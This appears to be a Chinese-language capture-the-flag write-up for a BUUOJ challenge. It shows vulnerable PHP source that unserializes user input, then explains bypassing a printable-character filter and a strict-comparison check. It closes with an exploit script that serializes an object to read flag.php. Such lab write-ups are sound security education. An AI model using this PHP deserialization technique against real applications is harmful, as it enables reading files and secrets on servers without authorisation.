平台:buuoj.cn
打开靶机即得源码
分析一下
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();//op=1时,执行write()中的file_put_contents
} else if($this->op == "2") {
$res = $this->read();//op=2时,执行read()中的file_get_contents
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}//长度过长检测
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";//强类型比较,函数调用结束时op=2调整为1
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;//判断传入的字符串是否为可打印字符
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}//反序列化传入的字符串
}
解题
考点是反序列化漏洞,我们需要将filename=flag.php序列化传入。
首先传入的字符串会经过is_vaild检测,传入的payload均要是可打印字符,但protected类型会加上%00进行标识,%00被url解码后ASCII值为0,不在32-125之间,导致不能通过。
绕过:php7对类的修饰不敏感,直接把属性修饰为public,正常序列化即可
第二部分是函数调用结束后__destruct会自动把op的值改为1
op==="2"类型和数值都必须等于’2’,后调用process又进行op==“2”不检查类型,使用弱类型2 == "2"设置op是数字2进行绕过即可。
构造exp如下:
<?php
class FileHandler{
public $op;
public $filename;
public $content;
}
$payload = new FileHandler();
$payload->op = 2;
$payload->filename = "flag.php";
$payload->content = "whatever";
echo serialize($payload);
源码处得到flag
buu上应当是改了路径,比赛的flag.php的是要通过cmdline读取它的绝对路径才能得到flag.php的位置。